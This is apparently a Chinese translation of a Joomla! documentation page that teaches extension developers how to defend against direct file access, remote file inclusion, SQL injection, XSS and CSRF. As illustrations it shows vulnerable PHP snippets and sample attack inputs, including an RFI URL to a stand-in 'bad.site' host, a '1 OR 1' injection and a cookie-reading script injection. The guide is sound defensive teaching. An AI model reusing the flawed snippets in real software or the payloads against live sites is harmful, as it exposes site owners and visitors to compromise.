加強您的 Joomla! 擴充套件安全

From Joomla! Documentation

The printable version is no longer supported and may have rendering errors. Please update your browser bookmarks and please use the default browser print function instead.
This page is a translated version of the page Securing Joomla extensions and the translation is 100% complete.
Other languages:
Deutsch • ‎English • ‎中文(台灣)‎

預設狀態下,Joomla! 非常安全,當核心元件都安全時,駭客或許會從第三方擴充套件下手破壞系統。本文是要提供您一些簡單的指引,盡可能讓您的擴充套件安全一些。

我們強烈建議您使用這些功能來確保最大的安全性。

前言:更安全的元件、模組、外掛...

您是 Joomla! 擴充套件的第三方開發者?您是否在 Joomla! 上發佈程式?好的,感謝您,社群會熱愛願意分享作品的您!

然而,有好些關於安全性的事情您需要知道。僅僅有個元件在您的電腦上運作得當,那通常是不夠的!您需要關心安全性,因為您的程式可能會毀了您的網站。

所以,我們趕快來看看吧,以下是我會在本文中討論到的話題:

  • 拒絕直接存取您的軟體
  • 拒絕遠端取用檔案
  • 保護網站防止SQL注入
  • 保護網站防止 XSS 攻擊
  • 保護網站防止跨域偽造請求攻擊
  • 避免開放讀寫權限 (0777) 的檔案或是資料夾
  • 檢查用戶存取權限
  • 如何封存原始的元件輸出 (對圖片、RSS-feeds 等等)
  • 要留意的幾件事情
  • 假如您發現了安全問題

請注意當我說「元件」,我說的也包含「模組」和「外掛」以及「佈景主題」。本說明文件中,所有的範例程式碼都是為 Joomla 3.x準備,雖然在Joomla 2.5 通常也是會有一樣的程式碼。

避免直接存取網站內容

您的元件檔案通常是由 Joomla! 來呼叫。Joomla! 是一整包檔案包圍了您的元件,所以包含了一些好用的功能,例如用戶權限。由於開發者往往只透過 Joomla! 測試他們的元件,忘了檔案也可能會從外部直接被呼叫,而不僅是由呼叫元件

http://www.example.com/index.php?option=com_yourcomponent

攻擊者也可能會嘗試

http://www.example.com/components/com_yourcomponent/yourcomponent.php

如您所見,PHP 檔案會直接被執行,不透過 Joomla! 檔案。現在,如果您的檔案僅包含了一些 分類(class) 或是函式(function),不執行任何程式碼的話,下面的程式碼也不會有什麼問題:

<?php
 class myClass {
     [SomeFunctionsHere]
 }
 function myFunction() {
     [SomeCodeHere]
 }
 ?>

當駭客這樣直接訪問頁面時,他會看到一個空白頁面。但是如果這個 PHP 檔案真的執行起來,駭客可能會看到一些錯誤訊息,洩漏敏感的系統資訊。在某些情境中,駭客可能可以在您的系統上,執行任何他想要的程式碼!

結論:

要保護您的元件安全免於直接存取,加入以下的程式碼到 PHP 執行檔案的起頭:

// no direct access
defined('_JEXEC') or die('Restricted access');

這對每一個執行PHP的程式碼檔案來說都是必要的。如果您不確定檔案是否需要加上這一段程式碼,那就加吧!

Secure your software against remote file inclusion

Recent advances in PHP and Joomla security have made this exploit more difficult, but it is still important to be aware of it and guard against it, particularly if you allow user input to define a file path For example suppose in a template you use code such as the following:-

$layout = $_GET['layout'];
include($layout);

An attacker could craft the url to inject a remote file name into the layout parameter, for example they may try to access your component as:-

http://www.example.com/com_yourcomponent/views/yourcomponent?layout=http://www.bad.site/bad.gif

它會透過圖檔名稱回傳可執行的 PHP 程式碼。駭客將可以對您的網站伺服器主機上下其手!這稱為遠端檔案引入弱點(RFI, Remote File Inclusion) 。不幸的是,這個手法容易到連腳本小子都能做。 要如何防範?首先這一類攻擊的難度,會因為使用絕對路徑來包含檔案而提高,這會移除 PHP 可能會找到檔案的可能性。例如

$layout = $_GET['layout'];
include(JPATH_SITE. '/components/com_yourcomponent/views/tmpl/'.$layout );

或是

include(JPATH_ADMINISTRATOR. '/components/com_yourcomponent/views/tmpl/'.$layout );

這兩個常數 JPATH_SITE 以及 JPATH_ADMINISTRATOR不會有被駭客操縱的風險。他們是由 Joomla 所定義,可以在任何地方的程式碼中使用,只要您想要得到網站的路徑。 然而我們還能做得比這個更多,就是對用戶的輸入內容進行消毒。方法是用 Joomla JInput class,而避免使用赤裸裸的 $_GET陣列。

$jinput = JFactory::getApplication()->input;
$layout = $jinput->get('layout','default');
include(JPATH_SITE. '/components/com_yourcomponent/views/tmpl/'.$layout );

預設中JInput 會套用 CMD 來過濾用戶的輸入,這僅允許以下的字元:a-z, 0-9, 下底線, 點(dot), 短橫線(dash)。如果您想要使用其他的過濾器,您也可以從下面找到更多關於JInput Retrieving_request_data_using_JInput. 請注意使用 CMD 過濾器會透過排除必要的字元,來避免遠端檔案引入弱點(RFI, Remote File Inclusion),並且排除檔案名稱中的路徑符號可避免路徑漫遊攻擊(directory traversal),駭客可能透過這個手法來操縱網路伺服器中,原本應該是不能被存取的其他檔案。 遠端檔案引入弱點(RFI, Remote File Inclusion) 只會在您的 PHP 設定為 allow_url_fopen 開啟的時候,才可能發生。但是這個設定值有些內容很需要,所以把它關掉不一定是個好主意。您不應該依賴 allow_url_fopen 設定為關閉,而是應該在設定值開啟的情況下,撰寫安全的程式碼。

結論: 要強化安全避免遠端檔案引入弱點(RFI, Remote File Inclusion) ,您需要確保當檔案被包括時,不會有未驗證的輸入內容。您應該要避免使用赤裸裸的raw $_GET以及$_POST陣列,而是使用 Joomla JInput class,這樣才能對用戶輸入消毒。第二,對所有處理檔案系統功能的呼叫,要十分小心。特別像是include,require,include_once,require_once,fopen。假如您真的需要包含多樣化檔案名增的檔案,確保要驗證這些變數,試著限縮可能被使用的值。


保護網站防止SQL注入(SQL injection)

SQL 注入會讓攻擊者修改特定的 SQL 查詢語法以及執行程式碼,這會讓您資料庫中的資料被修改,或是讓攻擊者取得機敏資料。這都是源於未經驗證的用戶輸入。

看一下這一段程式碼:

$value = $_GET['value'];
 $database->setQuery( "SELECT * FROM #__mytable WHERE id = $value" );

攻擊者可以對 '1 OR 1' 下手,資料庫語法會導致

"SELECT * FROM #__mytable WHERE id = 1 OR 1"

, 這樣就會回傳所有 jos_mytable 的內容。這是一個相當簡易的範例,說明可能的漏洞,而這僅是其中一種。一個開發者常見的誤解,是 SQL injection 只會影響原始的SQL句法中提及的資料表,所以當資料表內容洩漏也沒關係的話,那風險就不大。這是錯的:透過UNION SELECT指令來滲透侵入的 SQL, 駭客可以自由來去 Joomla 資料庫任何地方。這是很大的安全風險。

我沒有打算要更進一步,因為SQL 注入相關的內容已經在網站上找得到。請查看列在本文最底下的資源。

結論: 在您用於 SQL 查詢之前,請驗證所有用戶的輸入。套用


$db = JFactory::getDBO();
$string = $db->escape( $string );

到所有會用於 SQL 查詢的字串,以及套用

$value = intval( $value );


到所有的 SQL 整數型查詢。儘管您覺得這些值不會從用戶的輸入被取得,您最好還是要使用。因為您不知道您的程式碼在未來會如何被應用。 再一次,要知道更多 SQL 注入的資訊,請閱讀列在底下的資源,特別是 [3.2].

鐵律是您應該要透過 Joomla! JInput class 來獲取用戶輸入的內容,而不是赤裸裸的$_GET $_POST陣列。然而,請注意您不可以只依賴這個方法來避免 SQL注入攻擊(SQL injection)。攻擊者會利用送出字元組合來做注入,所以您使用的過濾器不足以防範攻擊。防範SQL注入攻擊唯一的方法是使用 $db->escape() 清洗所有的值,並對數字值使用 type casting ,如同上面的範例所示。


防禦 XSS 攻擊

跨網站腳本攻擊 (XSS) 是指從使用者的瀏覽器中執行腳本(例如 Javascript) 。這些攻擊可以被用來偷取用戶的 session cookie,因此會讓攻擊者假扮成登入的用戶。也就是說,很危險。 小心不要echo out 任何未經驗證的輸入給用戶。像這樣的程式碼,對您的訪客來說就算是危險的:

echo $_REQUEST['value'];

結論: 使用 JInput 來獲取用戶的輸入,例如

$jinput = JFactory::getApplication()->input;
$value = $Jinput->get('value','','html');
echo $value;

這會清掃所有的 html 標籤以及內容,然而您應該要用您的判斷力,知道什麼是可接受的值。如果您認為有什麼可能有什麼 html 程式碼會偷溜過去,您可以在程式碼中加入 PHP htmlspecialchars() 函式。

$value = htmlspecialchars( $value );
echo $value;

此外,如果您使用用戶輸入的內容來獲得 javascript 值,您需要特別特別注意,僅僅清理 html 是不夠的,例如看看這個,它可能會被放到 HTML 範本中:

<script type="text/javascript">
  var colour = <?php echo $jinput->get('colour','blue','alnum'); ?>;
</script>

在這個案例中我們使用 'alnum' 過濾器,移除 a 到 z , 0 到 9 以外的所有字元。您需要使用嚴謹的過濾器,這樣才安全,否則它可能會透過簡單的標點符號,就構成 javascript 句法,像是'();。例如想想看如果駭客執行以下的資料庫語法,會發生什麼事:

colour=blue%3B%20window.alert(document.cookie)%3B

如果您使用過濾來移除 html 標籤,在 javascript 中的結果會像是:

<script type="text/javascript">
  var colour = blue;
  window.alert(document.cookie);
</script>

保護網站防止跨域偽造請求攻擊

假設說一個網站的superuser 登入了他的網站,並訪問一個被駭客攻陷的其他網站,那個網頁上有個假圖片(bogus image),內嵌以下的程式碼

http://example.com/administrator/index.php?option=com_yourcomponent&task=deleteall

瀏覽器會嘗試載入這個假圖片,結果就是把元件資料表通通刪掉。Joomla 預設包含了防範此類攻擊的措施,方法是使用 session token。假如您登入了一個置放一段時間的Joomla!網站,您可能會看到以下的訊息: it will fail with an 'invalid token' message. 這是一個重要的安全功能,要在您的擴充套件中使用這個功能 (對,您絕對應該要這樣做),您需要在您的擴充套件內,任何的表單中包含 token。

<?php echo JHTML::_( 'form.token' ); ?>

在您的擴充套件執行任何危險的行為(例如刪除)之前,您應該要檢查有效的token

		JSession::checkToken() or jexit( 'Invalid Token' );

避免開放讀寫權限 (0777) 的檔案或是資料夾

把 Linux 資料夾和檔案讀寫權限設定成 0777,似乎成了 PHP 開發者的習慣,如果其他用戶在這台主機上有權限的話,這會讓您的檔案和資料夾可以被他們改寫。如果在共享主機上(多個網站寄存在同一台主機),可能會構成安全疑慮。如果您搜尋關於這個主題的文章,您可能會看到有些人不同意這個看法,因為檔案的 PHP 語法一般來說不會在權限設定 0644 以上;而資料夾在 0755 以上時執行。這個論點忽略了非php檔案被執行的可能風險。跨網站語法攻擊 (XSS, Cross site scripting attacks) 手法就是這樣,典型就是透過惡意的 html 以及 javascript檔案, 有時候是有漏洞的 Flash 影片或是 Java applets來完成。開放的資料夾和檔案權限會讓網站暴露於此種攻擊之下。 您永遠不應該在客戶未被告知的情形下,在網站上建立開放的資料夾或是檔案。如果客戶明白風險,並且準備好要使用開放的資料夾,請便,那是他們的網站。不幸的是,太多太多開發者並不願意詢問他們的客戶,就在網站上建立了開放的資料夾,並且沒有管他們的客戶知不知情。 說真的, 永遠沒有什麼好理由,在您的網站中使用開放的資料夾。假如您要避開資料夾權限的困難,使用 chmod 來將它們暫時開放,用完之後要關閉。

檢查用戶存取權限

當網站上的用戶執行特定的動作,如建立、編輯、刪除項目時,您應該要確認只有擁有適當權限的用戶能這麼做。如果您的擴充套件是元件,並且允許用戶在前台進行編輯,這會相當重要。因為其他網站用戶將會可以使用這些動作。在元件的管理後台部分,包含一些基本的權限檢查,來確保用戶具有管理元件的資格,也是一樣重要。

Joomla 權限控制(ACL, access control list) 系統是一個大題目,除了為您遙指一個方向,這裡也沒地方做別的了。要合併您的擴充套件到ACL您可以參考教學文件: 開發一個 Model-View-Controller 元件/新增 ACL

要做基本的 ACL 合併事實上很容易,有三個階段:

  1. 加入 access.xml檔案到的元件的管理區資料夾,這檔案會描述您想要控制權限的行為,例如:
<?xml version="1.0" encoding="utf-8" ?>
<access component="com_example">
	<section name="component">
		<action name="core.admin" title="JACTION_ADMIN" description="JACTION_ADMIN_COMPONENT_DESC" />
		<action name="core.manage" title="JACTION_MANAGE" description="JACTION_MANAGE_COMPONENT_DESC" />
        </section>
</access>
    1. 在元件config.xml 檔案中,加入permissions fieldset ,這會讓網站的管理員可以設定這些行為的權限。
	<fieldset
		name="permissions"
		label="JCONFIG_PERMISSIONS_LABEL"
		description="JCONFIG_PERMISSIONS_DESC"
		>

		<field
			name="rules"
			type="rules"
			label="JCONFIG_PERMISSIONS_LABEL"
			validate="rules"
			filter="rules"
			component="com_example"
			section="component" />
	</fieldset>
      1. 在您的元件 controller 中,使用JUser $user->authorise method 來檢查用戶是否正確的執行權限,例如:


if (!JFactory::getUser()->authorise('core.manage', 'com_example')) {
        return JError::raiseWarning(404, JText::_('JERROR_ALERTNOAUTHOR'));
}


結論: 您可以在元件中檢查值,並阻擋用戶使用特定部分

此外,確定不要向沒有權限的用戶揭露任何訊息,您可以使用 JUser $user->getAuthorisedViewLevels method 來獲得用戶可以有權限查看的層級:

$user = JFactory::getUser();
$groups = implode(',', $user->getAuthorisedViewLevels());

一個簡單的 SQL query that takes into account the permissions of the category for a certain databse entry (假設您的資料是使用分類來排序) 看起來會像這樣:

SELECT * FROM #__contact_details AS c
 LEFT JOIN #__categories AS cat ON cat.id = c.catid
 WHERE ( c.name LIKE '%$text%' )
 AND c.published = 1
 AND cat.published = 1
 AND c.access IN ($groups)
 AND cat.access IN ($groups)

請留意勾選的聯絡人資訊和分類都會發布並納入用戶權限層級。請記得,如果從用戶的輸入取得值,那麼必須要被逃脫$text

如何封存原始的元件 output (for pictures, RSS-feeds 等等)

在一些案例中,用戶需要送出原始資料(raw data) 給瀏覽器,也就是沒有前後沒有 Joomla! 佈景主題。例如 binary 圖片或是 XML 資了給 RSS feeds 使用。開發者傾向寫他們自己的 entry point PHP 檔案,但是這不應該是開發者的最後一招。讓 Joomla! 來處理會安全得多,這樣 Joomla 的安全機制可以發揮作用。

結論: 如果只是要獲得元件 outupt,那很簡單。只要加上 tmpl=component 到 URL ,例如

index.php?option=com_content&view=category&id=14&tmpl=component

要發送一個非 html 回應,例如 xml feed 或是圖片,也幾乎是一樣的簡單:

http://www.example.com/index.php?option=com_yourcomponent&format=xml

接著,在您的元件的 views 資料夾中加入名為 view.xml.php的檔案。在這個檔案中,告訴 Joomla 要處理什麼類型的輸出,讓它知道不只是 html:

$document =& JFactory::getDocument();
$document->setType('xml');

然而如果您的 xml 輸出是一個標準的 RSS feed,您可以使用 format=feed ,並使用名為 view.feed.php 的 view 檔案,Joomla 會自動了解正確的正確的檔案格式。 輸出圖片的流程是很容易的,使用像是下面的 URL

http://www.example.com/index.php?option=com_yourcomponent&format=img

在您的元件 views 資料夾中包含名為 view.img.php 的檔案。您會需要設定 mime encoding 給輸出值,例如使用以下來輸出 PNG 圖檔:

	$document =& JFactory::getDocument();
	$document->setMimeEncoding('image/png');


要留意的幾件事情

還有一些事情是您不應該做的,還有一些 function 是您絕對不應該使用的。

  • 不要使用 eval()eval() 是邪惡的!! 真的!
  • 不要使用中括號運算子,像是 [8.2]、exec,shell_exec,system,popen等等的函式(function)
  • 不要自動寄送Email來通知您的元件被某人安裝了。這會為您帶來壞信譽!
  • 在程式碼中,我們永遠不應該看到 @$_GET 或是 @$_POST 等等用法。
  • 不要在程式碼中包含任何後管理用途的「後門」,特別是明文顯示密碼的作法。別笑,真的有人這樣做。
  • 不要對程式碼做混淆,例如使用 base 64 轉碼,這會讓維護者困擾並且不知道如何除錯,而且這也違反了Joomla! 擴充套件應該要使用的 GPL 協定。
  • 包含外部函式庫時需要小心,檢查它們可能造成的後果。 有好多 Flash 和 javascript 函式庫會包含展示用的程式碼,有時候這些內容包含了檔案上傳的功能。請總是把它們移除,否則擴充套件的用戶可能不知不覺在他們的網站中安裝了後門。

總之,防禦性開發程式。不要假定您的資料來自可信的來源,或是以為他們是被清理過的。即使一時之間這是真的,您的程式碼可能在未來被重複使用於其他的內容,而無法確保是否安全。危險之處包含儲存資料到資料庫、輸出到瀏覽器、管理者工作等。請總是在執行前好好的檢查。

假如您發現了安全問題

有時候,您可能在您的程式碼中發現了安全問題,或是某人向您回報了安全問題,或是由於您的擴充套件被回報到了「包含弱點的擴充套件清單(VEL)」中,公開了這件事。假如這真的發生了,身為一個負責任的開發者,您應該要做以下的事情:

  • 首先,進行程式碼修改
  • 請在您的網站上發布公告,通知您的用戶需要更新安全發布,您可能也會需要發送電子信給用戶。
  • 通知 Joomla 弱點擴充套件清單

您可以決定要揭露多少關於弱點的程度。有些開發者喜歡詳盡地描述弱點可能如何被利用;有些人可能覺得保持機密,以免給駭客佔便宜。完全取決於您。最重要的事情是,您的用戶要知道他們該升級了。有些開發者不想要承認他們的程式碼有問題,這樣有損尊嚴。請不要這樣想。修正您的程式碼並通知您的用戶,表示您是個負責任的開發者,關心您用戶的權益。發佈修補是軟體開發過程稀鬆平常的事情,看看微軟都一直發布 Windows 作業系統修補更新您就知道了,而且他們這樣弄了好多年了。

資源

避免直接存取網站內容

  • 目前沒有資源

拒絕遠端取用檔案

保護網站防止SQL注入

保護網站防止 XSS 攻擊

Secure your extension against cross-site request forgery

檢查用戶存取權限

  • 目前沒有資源

如何封存原始的元件 output (for pictures, RSS-feeds 等等)

  • 目前沒有資源

要留意的幾件事情

假如您發現了安全問題